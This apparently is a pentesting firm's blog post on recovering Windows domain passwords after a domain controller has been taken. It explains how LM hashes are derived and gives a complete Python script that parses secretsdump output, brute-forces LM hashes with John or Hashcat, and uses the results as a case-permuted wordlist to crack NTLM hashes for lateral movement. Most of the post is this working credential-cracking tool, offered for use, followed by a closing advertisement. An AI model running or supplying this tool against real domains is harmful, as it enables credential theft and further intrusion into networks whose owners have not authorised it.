Crack NTLM over LM

Crack NTLM over LM

Let's suppose you have successfully taken control of a domain controller and can dump the password hashes of all domain users. You could run hashcat -m 1000 and wait, but what if you don't want to wait and you need the passwords immediately? For instance, you might need them for further lateral movement across the network to servers outside the Windows domain or for authentication in web services. It’s not uncommon for users, even administrators, to reuse the same password for both Windows domain authentication and other services.

You probably know that NTDS stores not only NTLM hashes but also LM (LanManager) hashes, which are usually equal to aad3b435b51404eeaad3b435b51404ee - an empty string. But what if you've extracted different values? This can happen if an outdated server is in use or if the domain was initially deployed on an outdated server and has continued to exist. Windows domains have a concept called "domain level" - the domain's backward compatibility level with outdated operating systems. If the domain level is 2003, the domain controller should store LM password hashes to support backward compatibility, even if it’s no longer necessary.

The LM string is the result of a series of transformations and DES encryption steps. First, each character of the original password is converted to uppercase. The password is then split into two blocks of 7 characters each. If the password is shorter than 14 characters, it is padded with 0x00 to reach 14 characters. Next, each character is converted to bits, and after every 7 bits, a parity bit (set to 0) is added. This resulting sequence is used as the DES encryption key (in ECB mode) to encrypt the string KGS!@#$%. If the user’s password is longer than 14 characters, only the first 14 characters are used in this process.

Tools like Hashcat and John support LM hash brute-forcing, but the recovered passwords won’t be exactly identical to the original passwords. This is because the LM hash process doesn’t preserve the original case of the password characters, and for passwords longer than 14 characters, only the first 14 characters can be recovered. However, if you’ve obtained LM hashes, you likely also have the corresponding NTLM hashes. Brute-forcing the NTLM hashes using a dictionary generated from the LM brute-force results is is much faster than a complete enumeration of all characters with an unknown length.

I wrote a script that parses the output of secretsdump.py or another like-tools, extracts both LM and NT hashes, and then launches John or Hashcat. The script first performs full LM brute-forcing and then proceeds with NTLM brute-forcing using a dictionary generated from the LM brute-forcing results. This script is particularly useful in scenarios where you have access to both types of Windows hashes.

import argparse
import re
import subprocess
from os import path, remove
import itertools
import tempfile
import shutil


def run_command(command, print_output):
    command = command.split()
    try:
        process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
        if print_output:
            for line in process.stdout:
                print(line, end='')
        for line in process.stderr:
            print(line, end='')
        process.wait()
        return process.stdout
    except FileNotFoundError:
        print(f'{command[0]} not found!')
    except Exception as e:
        print(f'{command[0]} failed with error: {e}')


def parse_file(filename):
    l = []
    pattern = r'.*:[A-Fa-f0-9]{32}:[A-Fa-f0-9]{32}:::'
    with open(filename, 'r') as f:
        hashes = re.findall(pattern, f.read())
    for h in hashes:
        h = h.split(':')
        if '$' not in h[0]:  # machines
            l.append(h)
    return l


def get_LM(data):
    l = []
    for i in data:
        if i[2] != 'aad3b435b51404eeaad3b435b51404ee':  # empty LM
            l.append(i[2])
    return list(set(l))


def write_file(filename, data):
    with open(filename, 'w') as f:
        for i in data:
            f.write(i + '\n')


def parse_output(output, john):
    if john:
        pattern = '^\?:(.*)\n'
    else:
        pattern = '^[A-Fa-f0-9]{32}:(.*)\n'

    passwords = []
    for line in output:
        if re.match(pattern, line):
            passwords.append(re.findall(pattern, line)[0])
    return passwords


def generate_case_combinations(strings):
    combinations = set()
    for string in strings:
        case_combinations = [''.join(combination) for combination in itertools.product(*zip(string.upper(), string.lower()))]
        combinations.update(case_combinations)
    return list(combinations)


parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', type=str, required=True, help='Input file')
parser.add_argument('-j', '--john', action='store_true', help='Use John-the-Ripper')
parser.add_argument('-c', '--hashcat', action='store_true', help='Use Hashcat')
parser.add_argument('-p', '--path', type=str, required=False, help='Path to Hashcat or John-the-Ripper (optional)')

args = parser.parse_args()
if args.john and args.hashcat:
    print('You can\'t use both John-the-Ripper and Hashcat!')
    exit()

if args.john:
    command = '''john hashes.txt --format=lm -min-len=1 -max-len=7 -1=?u?d?s --mask=?1?1?1?1?1?1?1'''
elif args.hashcat:
    command = '''hashcat hashes.txt -m 3000 -i --increment-min 1 -1 ?u?d?s -a 3 ?1?1?1?1?1?1?1'''
else:
    print('You need to specify either John-the-Ripper or Hashcat!')
    exit()

if args.path:
    if path.exists(args.path):
        command = command.replace('john', args.path)
        command = command.replace('hashcat', args.path)
    else:
        print(f'{args.path} not found!')
        exit()
elif not shutil.which(command.split()[0]):
    print(f'{command.split()[0]} not found! Use the option -p to specify the path!')
    exit()


print('Parse input file...')
data = parse_file(args.input)

print('Extract LM hashes...')
LM = get_LM(data)
_, temp_file_path = tempfile.mkstemp()
write_file(temp_file_path, LM)
command = command.replace('hashes.txt', temp_file_path)

print(f'Bruteforce LM: {command}...')
run_command(command, True)

print('Parse output...')
if args.john:
    output = run_command(f'{command.split()[0]} {temp_file_path} --format=lm --show', False)
else:
    output = run_command(f'{command.split()[0]} {temp_file_path} -m 3000 --show', False)
passwords = parse_output(output, args.john)
remove(temp_file_path)
print('Generate wordlist...')
all_combinations = generate_case_combinations(passwords)
_, temp_file_path = tempfile.mkstemp()
write_file(temp_file_path, all_combinations)

print('Generate username:NTLM file...')
NTLM = []
for d in data:
    NTLM.append(f'{d[0]}:{d[3]}')
write_file('ntlm_hashes.txt', NTLM)

if args.john:
    command = command.split()[0] + ' ntlm_hashes.txt --format=nt --wordlist=' + temp_file_path
else:
    command = command.split()[0] + ' ntlm_hashes.txt -a 0 -m 1000 --username ' + temp_file_path
print(f'Bruteforce NTLM: {command}...')
run_command(command, True)
remove(temp_file_path)

print('Now, you can see results!')
if args.john:
    print('Example: john ntlm_hashes.txt --format=nt --show')
    run_command(command.split()[0] + ' ntlm_hashes.txt --format=nt --show', True)
else:
    print('Example: hashcat ntlm_hashes.txt -m 1000 --username --show')
    run_command(command.split()[0] + ' ntlm_hashes.txt -m 1000 --username --show', True)

Example: python3 crackerNTLM.py -i small.txt -j

Author: @resource_not_found


To enhance your company's security level, contact ONSEC.io team
Mail us at [email protected],
or visit our website www.onsec.io
to learn more about our pentesting services and how we can help protect your game from cyber threats.